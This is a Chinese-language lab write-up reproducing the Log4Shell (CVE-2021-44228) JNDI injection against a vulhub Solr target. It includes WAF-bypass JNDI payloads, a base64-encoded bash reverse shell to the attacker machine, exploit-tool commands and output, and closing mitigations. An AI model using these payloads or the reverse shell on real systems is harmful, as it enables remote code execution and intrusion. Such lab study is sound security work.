本次复现的参考:https://www.freebuf.com/vuls/329984.html
、https://cloud.tencent.com/developer/article/1944751、https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA
。
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
Apache Log4j 2.x <= 2.14.1
${jndi:ldap://xxx.dnslog.cn/poc}
waf绕过
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc}
${${::-j}ndi:rmi://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
${${lower:jndi}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:${lower:jndi}}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://xxx.dnslog.cn/poc}
靶机------http://192.168.88.128:8080/
。
靶场:vulhub
开启靶场:
因为之前我的ubuntu就下载好了vulhub-master,所以可以进入对应的文件夹然后启动,完成本地搭建
ubuntu-gan@ubuntugan-virtual-machine:~$ cd vulhub-master/log4j/CVE-2021-44228
ubuntu-gan@ubuntugan-virtual-machine:~/vulhub-master/log4j/CVE-2021-44228$ docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
8.11.0: Pulling from vulhub/solr
43c265008fae: Already exists
af36d2c7a48: Already exists
2b7b4d10e1c1: Already exists
f264389d8f2f: Already exists
1a2c46e93f4a: Already exists
f9506bb322c0: Already exists
96f5dad14c2c: Already exists
c387eff49cc3: Downloading [> ] c387eff49cc3: Downloading [> ] c387eff49cc3: Downloading [> ] c387eff49cc3: Downloading [> ] c387eff49cc3: Downloading [> ] c387eff49cc3: Downloading [> ] c387eff49cc3: Downloading [=> ] c387eff49cc3: Downloading [=> ] c387eff49cc3: Downloading [=> ] c387eff49cc3: Downloading [=> ] c387eff49cc3: Pull complete
Digest: sha256:84255b20a2d134fc97bbb0fab7cb826087098ee594fcbc94c3a71def24d31003
Status: Downloaded newer image for vulhub/solr:8.11.0
Creating cve-2021-44228_solr_1 ... done
开启成功后访问:http://192.168.88.128:8983/
。
再访问:http://192.168.88.128:8983/solr/admin/cores?action=1
。【问题:他们是怎么知道要访问这个url的呢?】
补充解答“他们是怎么知道要访问这个url的呢?”:http://www.ctfiot.com/16640.html#fancybox-14
。
根据官方文件可以得知 Collections 的调用参数
我们可以设想通过可控的 Collections 来进行 JNDI注入,路径为:
/solr/admin/collections?action=xxxxx
首先访问http://dnslog.cn/
获取一个临时域名
然后利用获取到的临时域名构造payload ,直接访问:http://192.168.88.128:8983/solr/admin/cores?action=${jndi:ldap://olorvf.dnslog.cn}
。
【这个payload是什么意思呢?】
访问之后,我们查看dnslog.cn页面,点击Refresh按钮刷新,可以看到有请求访问记录,表明存在log4j2漏洞。【我用不同的浏览器,已及用ubuntu自带的浏览器都访问了的。】
kali攻击机:192.168.88.129
。
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
。
下载对应的jar包。将jar包拷贝到kali虚拟机,或者直接在kali中下载【因为我这边不能从主机拷贝到kali,所以我在kali的火狐浏览器中下载了一个】。
利用JNDI注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。
bash -i > /dev/tcp/192.168.88.129/6969 0>&1
在kali执行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.88.129
得到了rmi、ldap参数:
┌──(kaligan㉿studygan)-[~/Downloads]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.88.129
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[ADDRESS] >> 192.168.88.129
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.88.129:1099/5ftwug
ldap://192.168.88.129:1389/5ftwug
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.88.129:1099/ggds3d
ldap://192.168.88.129:1389/ggds3d
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.88.129:1099/xrvhnp
----------------------------Server Log----------------------------
2022-09-13 21:53:33 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-09-13 21:53:33 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-09-13 21:53:34 [LDAPSERVER] >> Listening on 0.0.0.0:1389
然后在kali攻击机上开启nc监听6969端口:【为什么要监听6969?能监听别的端口嘛?-----这个我懂了,应该和前面那个bash语句 payload有关,如果前面换一个,那么监听端口就对应起来即可。】
nc -lvnp 6969
payload:http://192.168.88.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.88.129:1099/5ftwug}
养成好习惯,用完记得关闭:docker-compose down
。
ubuntu-gan@ubuntugan-virtual-machine:~/vulhub-master/log4j/CVE-2021-44228$ docker-compose down
Stopping cve-2021-44228_solr_1 ... done
Removing cve-2021-44228_solr_1 ... done
Removing network cve-2021-44228_default
1. 升级最新版本
2. 设置jvm参数"-Dlog4j2.formatMsgNoLookups=true";
3. 设置系统环境变量"FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS"为"true"
4. 关闭应用的网络外连。